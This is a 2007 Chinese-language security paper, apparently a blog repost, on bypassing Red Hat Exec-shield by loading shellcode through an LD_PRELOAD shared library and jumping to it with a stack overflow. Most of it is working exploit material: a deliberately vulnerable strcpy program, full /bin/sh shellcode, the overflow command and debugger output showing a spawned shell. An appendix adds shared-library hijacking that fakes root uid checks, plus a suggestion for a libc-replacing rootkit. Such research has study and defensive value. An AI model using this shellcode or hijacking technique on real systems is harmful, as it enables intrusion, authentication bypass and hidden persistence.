2007年5月24日星期四

[Paper]A New Way to Bypass Execshield

author: axis
mail: axis@ph4nt0m.org

Date: 2007-03-13
From: http://www.ph4nt0m.org
http://blog.ph4nt0m.org
http://groups.google.com/group/ph4nt0m


摘要:
Execshield是Redhat使用的一种针对溢出的保护,其主要内容有不可执行堆栈,以及检查函数返回地址是否被覆盖等等保护措施。

Redhat在Fedora Core 2以及 Enterprise Linux 3 update 3中,开始推出该技术,以后的新版本中,都存在此种技术。这种技术的存在,使得传统的堆栈溢出在Redhat的高版本平台上的利用,变的极其困难。笔者曾对突破这种技术做过一些研究,可以参考我在一年前写的一篇文章《Bypass Exec-shield Under Redhat》(发于ph4nt0m, xfocus)。

近日在研究Stefan Esser公布的一个php漏洞的时候,查阅资料时,偶有所得,发现了一种更简单的绕过execshield的方法,于是便有了这篇小paper,也许别人也发现过这个方法,只是不屑于写而已。希望本文能起到抛砖引玉的作用。也希望能有高手出来帮我解开几个未解决的问题。

正文
在《Bypass Exec-shield Under Redhat》(http://www.xfocus.net/articles/200602/852.html)一文中,给出了三种绕过 execshield的方法,其核心思想是,利用加载模块中的可以执行的模块,来写入我们的shellcode,并执行他!

以下的环境是的Redhat Enterprise Linux 4.2上进行操作的。

[root@security-lab2 hijack_so]# cat /proc/sys/kernel/exec-shield
1
[root@security-lab2 hijack_so]# cat /proc/sys/kernel/exec-shield-randomize 
0
[root@security-lab2 hijack_so]# 


/proc/sys/kernel/exec-shield是execshield的开关,值为1说明是开的。

/proc/sys/kernel/exec-shield-randomize是加载模块地址随机变化,这是linux内核的一个特性,与execshield本身关联不大,在这里为了调试方便,先关闭。


如下,运行了/usr/bin/php后加载了如下模块,这里过滤出了所有可以执行的
[root@security-lab2 hijack_so]# cat /proc/22098/maps |grep xp
00101000-0012f000 r-xp 00000000 08:05 3534586    /usr/lib/libidn.so.11.4.6
0013f000-0015f000 r-xp 00000000 08:05 3534983    /usr/lib/libk5crypto.so.3.0
00162000-001c5000 r-xp 00000000 08:05 3536189    /usr/lib/libkrb5.so.3.2
001c9000-001db000 r-xp 00000000 08:08 1464244    /lib/libnsl-2.3.4.so
00241000-00315000 r-xp 00000000 08:08 1464242    /lib/libcrypto.so.0.9.7a
0038f000-003c0000 r-xp 00000000 08:08 1464243    /lib/libssl.so.0.9.7a
003c5000-00491000 r-xp 00000000 08:08 1464240    /lib/tls/i686/libdb-4.2.so
0085a000-0085f000 r-xp 00000000 08:08 1464249    /lib/libcrypt-2.3.4.so
0088a000-0089a000 r-xp 00000000 08:05 3534294    /usr/lib/libbz2.so.1.0.2
008bc000-008d1000 r-xp 00000000 08:08 1464233    /lib/ld-2.3.4.so
008d5000-009f9000 r-xp 00000000 08:08 1464234    /lib/tls/libc-2.3.4.so
00a01000-00a22000 r-xp 00000000 08:08 1464235    /lib/tls/libm-2.3.4.so
00a26000-00a28000 r-xp 00000000 08:08 1464236    /lib/libdl-2.3.4.so
00a2c000-00ac2000 r-xp 00000000 08:05 3270420    /usr/lib/libaspell.so.15.0.3
00ac9000-00aca000 r-xp 00000000 08:05 3270482    /usr/lib/libpspell.so.15.0.3
00af5000-00b03000 r-xp 00000000 08:08 1464237    /lib/tls/libpthread-2.3.4.so
00b09000-00b18000 r-xp 00000000 08:05 3536185    /usr/lib/libz.so.1.2.1.2
00b1b000-00b49000 r-xp 00000000 08:05 3270478    /usr/lib/libcurl.so.3.0.0
00b4f000-00b5e000 r-xp 00000000 08:08 1463042    /lib/libresolv-2.3.4.so
00b64000-00b6b000 r-xp 00000000 08:08 1464238    /lib/libgcc_s-3.4.4-20050721.so.1
00b6e000-00b98000 r-xp 00000000 08:05 3566811    /usr/lib/sse2/libgmp.so.3.3.3
00bd7000-00c97000 r-xp 00000000 08:05 3534501    /usr/lib/libstdc++.so.6.0.3
00ca4000-00cc1000 r-xp 00000000 08:05 3536187    /usr/lib/libexpat.so.0.5.0
00cc1000-00cc3000 rw-p 0001d000 08:05 3536187    /usr/lib/libexpat.so.0.5.0
00d58000-00d67000 r-xp 00000000 08:08 1464201    /lib/libpcre.so.0.0.1
00dd5000-00dd7000 r-xp 00000000 08:08 1464241    /lib/libcom_err.so.2.1
00de9000-00dfc000 r-xp 00000000 08:05 3536190    /usr/lib/libgssapi_krb5.so.2.2
08047000-0818f000 r-xp 00000000 08:05 1244941    /usr/bin/php
[root@security-lab2 hijack_so]# 


可以看到,堆栈的地址都不在其中。我们的思路就是要把shellcode放到这些加载的模块中去,并执行它!


但是这些模块都是系统自己带的,那么要把shellcode放进去,就需要一些特殊的方法了。


这里我使用了"Hijack so"技术。


其实这个方法也是很古老了,就是自己构造一个so文件,把shellcode放进我们自己构造的so中,然后hijack so!


我们要测试的包含溢出的程序如下:
[axis@security-lab2 hijack_so]$ cat vul.c
#include
<stdio.h>

int main(int argc, char * argv[]){
   
char buf[256];

   strcpy(buf, argv[
1]);
   printf(
"buf is: %s\n",buf);

   
return 0;


[axis@security
-lab2 hijack_so]$ gcc -o vul vul.c
[axis@security
-lab2 hijack_so]$ 


具体实现方法方法如下:

Step 1.构造包含shellcode的so文件

 


[axis@security-lab2 hijack_so]$ cat hijack.c
#include 
<dlfcn.h>
#include 
<unistd.h>
#include 
<sys/types.h>

char shellcode[]=

     
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
     (还写了很多nops,此处省略)
     
     
"\x31\xc0"                    // xor    %eax, %eax
     "\x50"                        // push   %eax
     "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
     "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
     "\x89\xe3"                    // mov    %esp, %ebx
     "\x50"                        // push   %eax
     "\x53"                        // push   %ebx
     "\x89\xe1"                    // mov    %esp, %ecx
     "\x31\xd2"                    // xor    %edx, %edx
     "\xb0\x0b"                    // mov    $0xb, %al
     "\xcd\x80"                    // int    $0x80

     
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";


[axis@security
-lab2 hijack_so]$ gcc hijack.c -Wall -fPIC -shared -o hijack.so 
[axis@security
-lab2 hijack_so]$ ll
total 
28
-rw-rw-r--  1 axis axis 4100 Mar 14 01:13 hijack.c
-rwxrwxr-x  1 axis axis 4811 Mar 14 01:51 hijack.so
-rwxr-xr-x  1 axis axis 5158 Mar 14 00:47 vul
-rw-rw-r--  1 axis axis  202 Mar 14 00:47 vul.c
[axis@security
-lab2 hijack_so]$ 


Step 2. Hijack so

把我们的so文件拷贝到/tmp目录
[axis@security-lab2 hijack_so]$ ls /tmp/hijack.so -l
-rwxrwxr-x  1 axis axis 4811 Mar 14 01:54 /tmp/hijack.so
[axis@security-lab2 hijack_so]$ 


然后再当前用户环境里实现hijack so,其实就是改一个环境变量就达到了目的。

 


[axis@security-lab2 hijack_so]$ export LD_PRELOAD="/tmp/hijack.so"
[axis@security
-lab2 hijack_so]$ 

[axis@security
-lab2 hijack_so]$ env
HOSTNAME
=security-lab2
SHELL
=/bin/bash
TERM
=xterm
HISTSIZE
=1000
LD_PRELOAD
=/tmp/hijack.so       ====>注意这里
OLDPWD
=/home/axis/temp
USER
=axis
LS_COLORS
=no=00:fi=00:di=00;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;32:*.cmd=00;32:*.exe=00;32:*.com=00;32:*.btm=00;32:*.bat=00;32:*.sh=00;32:*.csh=00;32:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:
KDEDIR
=/usr
MAIL
=/var/spool/mail/axis
PATH
=/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/axis/bin
INPUTRC
=/etc/inputrc
PWD
=/home/axis/temp/hijack_so
LANG
=en_US.UTF-8
SSH_ASKPASS
=/usr/libexec/openssh/gnome-ssh-askpass
SHLVL
=1
HOME
=/home/axis
LOGNAME
=axis
LESSOPEN
=|/usr/bin/lesspipe.sh %s
G_BROKEN_FILENAMES
=1
_
=/bin/env
[axis@security
-lab2 hijack_so]$ 


此时再加载,就会加载上我们的模块/tmp/hijack.so了


Step 3.调试出shellcode的地址。

对于vul程序,输入268字节覆盖ebp,再4字节覆盖eip。在execshield开启的情况下,会导致溢出失败。

如下:

 


[axis@security-lab2 hijack_so]$ gdb ./vul
GNU gdb Red Hat Linux (6.3.0.0-1.63rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu" (no debugging symbols found)
Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) r `perl -e 'print "A"x268; print "BBBB"'`        
Starting program: /home/axis/temp/hijack_so/vul `perl -e 'print "A"x268; print "BBBB"'`
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB

Program received signal SIGSEGV, Segmentation fault.
0x080484bd in main ()
(gdb) i reg
eax            0x0      0
ecx            0x0      0
edx            0x119    281
ebx            0x9faff4 10465268
esp            0xbffff98c       0xbffff98c
ebp            0x41414141       0x41414141    ====》EBP被覆盖了
esi            0xbffffa14       -1073743340
edi            0xbffff9a0       -1073743456
eip            0x80484bd        0x80484bd     ====》EIP没覆盖成功
eflags         0x10282  66178
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
(gdb) 



看看此时加载的模块
[root@security-lab2 hijack_so]# ps -ef |grep vul
axis     22123 21651  0 01:58 pts/4    00:00:00 gdb ./vul
axis     22124 22123  0 01:59 pts/4    00:00:00 /home/axis/temp/hijack_so/vul AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
root     22130 21582  0 02:00 pts/3    00:00:00 grep vul
[root@security-lab2 hijack_so]# cat /proc/22124/maps 
00111000-00112000 r-xp 00000000 08:08 1544336    /tmp/hijack.so             =====>我们自己的模块
00112000-00113000 rw-p 00000000 08:08 1544336    /tmp/hijack.so
008bc000-008d1000 r-xp 00000000 08:08 1464233    /lib/ld-2.3.4.so
008d1000-008d2000 r--p 00015000 08:08 1464233    /lib/ld-2.3.4.so
008d2000-008d3000 rw-p 00016000 08:08 1464233    /lib/ld-2.3.4.so
008d5000-009f9000 r-xp 00000000 08:08 1464234    /lib/tls/libc-2.3.4.so
009f9000-009fa000 r--p 00124000 08:08 1464234    /lib/tls/libc-2.3.4.so
009fa000-009fd000 rw-p 00125000 08:08 1464234    /lib/tls/libc-2.3.4.so
009fd000-009ff000 rw-p 009fd000 00:00 0 
08048000-08049000 r-xp 00000000 08:07 828167     /home/axis/temp/hijack_so/vul
08049000-0804a000 rw-p 00000000 08:07 828167     /home/axis/temp/hijack_so/vul
b7fe8000-b7fea000 rw-p b7fe8000 00:00 0 
b7fff000-b8000000 rw-p b7fff000 00:00 0 
bfffe000-c0000000 rw-p bfffe000 00:00 0 
ffffe000-fffff000 ---p 00000000 00:00 0 
[root@security-lab2 hijack_so]# 


注意此时我们的包含shellcode的模块已经加载上了!
00111000-00112000 r-xp 00000000 08:08 1544336    /tmp/hijack.so            
00112000-00113000 rw-p 00000000 08:08 1544336    /tmp/hijack.so

 


其中


00111000-00112000 r-xp 00000000 08:08 1544336    /tmp/hijack.so



是可以执行的!我们看看其中的内容

(gdb) x/50x 0x00111000
0x111000:       0x464c457f      0x00010101      0x00000000      0x00000000
0x111010:       0x00030003      0x00000001      0x000003ec      0x00000034
0x111020:       0x00000a30      0x00000000      0x00200034      0x00280004
0x111030:       0x00160019      0x00000001      0x00000000      0x00000000
0x111040:       0x00000000      0x000004f8      0x000004f8      0x00000005
0x111050:       0x00001000      0x00000001      0x000004f8      0x000014f8

. . . . . .(中间省略若干)

0x1117f0:       0x90909090      0x90909090      0x90909090      0x90909090
0x111800:       0x90909090      0x90909090      0x90909090      0x90909090
0x111810:       0x90909090      0x90909090      0x90909090      0x90909090
0x111820:       0x90909090      0x90909090      0x90909090      0x90909090
0x111830:       0x90909090      0x90909090      0x90909090      0x90909090
0x111840:       0x90909090      0x90909090      0x90909090      0x90909090
0x111850:       0x90909090      0x90909090      0x90909090      0x90909090
0x111860:       0x90909090      0x90909090      0x90909090      0x90909090
0x111870:       0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0x111880:       0x31e18953      0xcd0bb0d2      0x90909080      0x90909090
0x111890:       0x00909090      0x43434700
(gdb) 

 


我们的shellcode正如我们所想的那样在这里了!而且这些地址都是可以执行的。

shellcode前加了不少nops,是为了能够扩大我们寻找shellcode的范围,但要注意shellcode不要太大,以至于超出了可执行指令的内存范围。


所以我们只需要把覆盖eip的地址,指到nops的地址,就可以顺利执行shellcode了!


在这里我选用0x00111818这个看起来比较舒服好记的地址,如下


[axis@security-lab2 hijack_so]$ ./vul `perl -e 'print "A"x268; print "\x18\x18\x11"'`
buf is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
sh-3.00$ uname -a
Linux security-lab2 2.6.9-22.ELsmp #1 SMP Mon Sep 19 18:32:14 EDT 2005 i686 i686 i386 GNU/Linux
sh-3.00$ cat /etc/issue.net
Red Hat Enterprise Linux AS release 4 (Nahant Update 2)
Kernel \r on an \m
sh-3.00$ 
sh-3.00$ id
uid=500(axis) gid=501(axis) groups=501(axis)
sh-3.00$


成功执行shellcode了,我们绕过了execshield!!



但是在setuid的情况下好象有点不同,估计是因为内核不允许hijack so的原因,会导致segfault

[root@security-lab2 hijack_so]# chown root.root vul
[root@security-lab2 hijack_so]# chmod 4755 vul
[root@security-lab2 hijack_so]# ll
total 92
-rw-------  1 axis axis 61440 Mar 14 02:08 core.22124
-rw-rw-r--  1 axis axis  4100 Mar 14 01:13 hijack.c
-rwxrwxr-x  1 axis axis  4811 Mar 14 01:51 hijack.so
-rwsr-xr-x  1 root root  5158 Mar 14 01:52 vul
-rw-rw-r--  1 axis axis   202 Mar 14 00:47 vul.c
[root@security-lab2 hijack_so]# 


如下

[axis@security-lab2 hijack_so]$ ./vul `perl -'print "A"x268; print "\x18\x18\x11"'`
buf 
is: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
[axis@security
-lab2 hijack_so]$ 


直接segfualt了,连core文件都不生成.




另外一个可行的思路就是使用inject so技术,应该也一样可以达到绕过execshield的效果,有兴趣的人可以测试一下。不过以上的思路都是针对本地的溢出情况,对于远程,还是没有什么好的办法。希望本文能够帮助到一部分人。最后还要感叹一下linux这个伟大的操作系统!




------------------------------------------------------------------------


附录: 关于hijack so

实际上应该称做: shared library hijacking

这里贴上三篇tips,都是我以前写的心得


[Tips 1]:

[思考]Shared Library Hijacking

[axis@axis shl_hijacking]$ cat fuck.c    =====>我们的rootshell
#include
<stdio.h>

int main(){
setuid(
0);
setgid(
0);
seteuid(
0);
system(
"/bin/sh");

return 0;
}
[axis@axis shl_hijacking]$ gcc 
-o fuck fuck.c

[axis@axis shl_hijacking]$ cat getid0.c      
======> 我们自己定义的shared library
#include 
<dlfcn.h>
#include 
<unistd.h>
#include 
<sys/types.h>

uid_t geteuid( 
void )
{
return 0;
}

uid_t getuid( 
void )
{
return 0;
}

uid_t getgid( 
void )
{
return 0;
}
[axis@axis shl_hijacking]$ gcc getid0.c 
-fPIC -shared -o getid0.so    

[axis@axis shl_hijacking]$ export LD_PRELOAD
="/tmp/getid0.so"        ====》 hijack环境变量

[axis@axis shl_hijacking]$ .
/fuck
sh
-3.00# id
uid
=0(root) gid=0(root) egid=500(axis) groups=500(axis) context=user_u:system_r:unconfined_t
sh
-3.00# uname -a
Linux axis 
2.6.11-1.1369_FC4 #1 Thu Jun 2 22:55:56 EDT 2005 i686 i686 i386 GNU/Linux
sh
-3.00# cat /etc/issue
Fedora Core release 
4 (Stentz)
Kernel r on an m

sh
-3.00#



但内核知道我们不是真正的root

无法执行root才能执行的程序,su - root一样要密码


ps -ef一下就知道还是以普通用户身份执行的进程

目前想到的是用来做一个.so的rootkit会非常隐蔽

比如这样

[root@localhost tmp]# strace id
execve(
"/usr/bin/id", ["id"], [/* 21 vars */]) = 0
uname({sys
="Linux", node="localhost.localdomain", . . .}) = 0
brk(
0)                                  = 0x804c4c8
open(
"/etc/ld.so.preload", O_RDONLY)    = -1 ENOENT (No such file or directory)
open(
"/etc/ld.so.cache", O_RDONLY)      = 3
fstat64(
3, {st_mode=S_IFREG|0644, st_size=34479, . . .}) = 0
old_mmap(NULL, 
34479, PROT_READ, MAP_PRIVATE, 30= 0xb75e2000
close(
3)                                = 0
open(
"/lib/tls/libc.so.6", O_RDONLY)    = 3
. . . . . .


注意到/lib/tls/libc.so.6
基本上每个命令都会调用它

那么我们替换调它,放上我们的code,写好判断用的magic code,就是一个非常隐蔽的rootkit了


但我很贪心,希望得到更多

。。。。。。

如果应用程序中只是简单的判断uid=0 来判断root,那会如何呢??

packetstorm上的原文

http://packetstormsecurity.org/papers/attack/shl_hijacking.txt

有待继续挖掘




-----------------------------------------------------------------------

[Tips 2]

shared library hijacking test1
[axis@localhost shl_hijacking]$ ls
app  app.c  geteuid.c  geteuid.so  getuid0  getuid0.c  lookatme  lookatme.c  testsystem  testsystem.c  x
[axis@localhost shl_hijacking]$ cat app.c
#include
<stdio.h>
#include
<unistd.h>
#include
<stdlib.h>


int main(int argc,char ** argv){
    
    
int i;

    i 
= (int) getuid();

    
if(i == 0){
       printf(
"root!\n");

    }
    
else{
       
       printf(
"Sorry,but not root!\n");
    }


    
return 0;

}
[axis@localhost shl_hijacking]$ .
/app
Sorry,but not root
!
[axis@localhost shl_hijacking]$ export LD_PRELOAD
="/tmp/geteuid.so"
[axis@localhost shl_hijacking]$ id
uid
=0(root) gid=0(root) groups=500(axis)
[axis@localhost shl_hijacking]$ .
/app
root
!
[axis@localhost shl_hijacking]$ cat geteuid.c
#include 
<dlfcn.h>
#include 
<unistd.h>
#include 
<sys/types.h>
uid_t geteuid( 
void )
{
return 0;
}

uid_t getuid( 
void )
{
//system("chown root.root ./x");

return 0;
}

uid_t getgid( 
void )
{
return 0;
}

uid_t getegid( 
void)
{
return 0;
}


//int chown()
[axis@localhost shl_hijacking]$




----------------------------------------------------------------------


[Tips 3]

shared library hijacking test2

/* process credentials */

uid_t uid,euid,suid,fsuid;

gid_t gid,egid,sgid,fsgid;

int ngroups;

gid_t groups[NGROUPS];

kernel_cap_t cap_effective, cap_inheritable, cap_permitted;

struct user_struct *user;


 


每个进程的uid,euid这些都是在kernel中的task_struct里

getuid()是读取task_struct 里的uid

那么hijack之后,就从

getuid()---->task_struct


变成了

getuid()----->fake getuid()

但是产生新的子进程,其权限是从父进程继承的

也就是在kernel中子进程的task_struct中的uid 是直接继承父进程中task_struct的uid

也就是没有经过getuid()的过程

因为整个过程是发生在内核中的,所以hijack getuid()是接触不到这个过程的

那么产生的子进程还是为以原来用户的uid和euid来运行

所以hijack getuid后得到的只是表象,内核知道你是谁!

分析到这里应该比较清楚了,那就是在第三方软件中的一些判断中也许会存在这种auth bypass的问题,但是从当前用户产生的子进程却不可能以hijack的uid来运行,因为子进程的task_struct中,记录的还是最原始的uid,内核撕下了你伪善的面具!





-EOF-


没有评论: